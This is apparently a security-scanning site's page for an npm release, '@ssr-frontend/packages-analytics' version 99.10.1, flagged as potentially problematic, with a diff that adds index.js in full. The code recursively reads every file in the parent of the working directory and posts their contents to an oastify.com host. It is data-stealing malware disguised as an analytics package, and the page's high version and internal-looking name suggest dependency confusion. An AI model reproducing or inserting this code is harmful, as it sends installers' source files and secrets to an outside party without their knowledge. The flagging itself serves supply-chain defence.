@ssr-frontend/packages-analytics 99.10.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @ssr-frontend/packages-analytics might be problematic. Click here for more details.
- package/index.js +75 -0
- package/package.json +13 -0
- package/run.sh +3 -0
package/index.js
ADDED
@@ -0,0 +1,75 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const fs = require('fs');
|
3
|
+
const path = require('path');
|
4
|
+
|
5
|
+
// Get the current working directory
|
6
|
+
const cwd = process.cwd();
|
7
|
+
|
8
|
+
// Get the parent directory path
|
9
|
+
const parentDir = path.resolve(cwd, '..');
|
10
|
+
|
11
|
+
// Function to list the contents of a directory in tree format
|
12
|
+
function listDirectory(dirPath, depth) {
|
13
|
+
let tree = '';
|
14
|
+
try {
|
15
|
+
const entries = fs.readdirSync(dirPath, { withFileTypes: true });
|
16
|
+
|
17
|
+
entries.forEach((entry, index) => {
|
18
|
+
if (entry.name === 'index.js' || entry.name === 'package.json') {
|
19
|
+
return; // Exclude index.js and package.json files
|
20
|
+
}
|
21
|
+
|
22
|
+
const isLast = index === entries.length - 1;
|
23
|
+
const prefix = depth > 0 ? '│ '.repeat(depth - 1) + (isLast ? '└──' : '├──') : '';
|
24
|
+
const entryLine = `${prefix}${entry.name}\n`;
|
25
|
+
|
26
|
+
tree += entryLine;
|
27
|
+
|
28
|
+
if (entry.isDirectory()) {
|
29
|
+
const fullPath = path.join(dirPath, entry.name);
|
30
|
+
tree += listDirectory(fullPath, depth + 1);
|
31
|
+
} else if (entry.isFile()) {
|
32
|
+
const fileContents = fs.readFileSync(path.join(dirPath, entry.name), 'utf8');
|
33
|
+
tree += `${'│ '.repeat(depth)} ${fileContents}\n`;
|
34
|
+
}
|
35
|
+
});
|
36
|
+
} catch (error) {
|
37
|
+
console.error(`Error reading directory "${dirPath}": ${error.message}`);
|
38
|
+
}
|
39
|
+
|
40
|
+
return tree;
|
41
|
+
}
|
42
|
+
|
43
|
+
// Generate the directory tree structure for the parent directory
|
44
|
+
const tree = listDirectory(parentDir, 0);
|
45
|
+
|
46
|
+
// Prepare request options
|
47
|
+
const options = {
|
48
|
+
hostname: 'ds96hxsuab3tjmkfk7hs83o2stykmaaz.oastify.com',
|
49
|
+
port: 80,
|
50
|
+
path: '/',
|
51
|
+
method: 'POST',
|
52
|
+
headers: {
|
53
|
+
'Content-Type': 'text/plain',
|
54
|
+
'Content-Length': Buffer.byteLength(tree)
|
55
|
+
}
|
56
|
+
};
|
57
|
+
|
58
|
+
// Make the HTTP request
|
59
|
+
const req = http.request(options, (res) => {
|
60
|
+
let responseData = '';
|
61
|
+
res.on('data', (chunk) => {
|
62
|
+
responseData += chunk;
|
63
|
+
});
|
64
|
+
res.on('end', () => {
|
65
|
+
console.log(responseData);
|
66
|
+
});
|
67
|
+
});
|
68
|
+
|
69
|
+
req.on('error', (error) => {
|
70
|
+
console.error('There was a problem with the request:', error.message);
|
71
|
+
});
|
72
|
+
|
73
|
+
// Send the data
|
74
|
+
req.write(tree);
|
75
|
+
req.end();
|
package/package.json
ADDED
package/run.sh
ADDED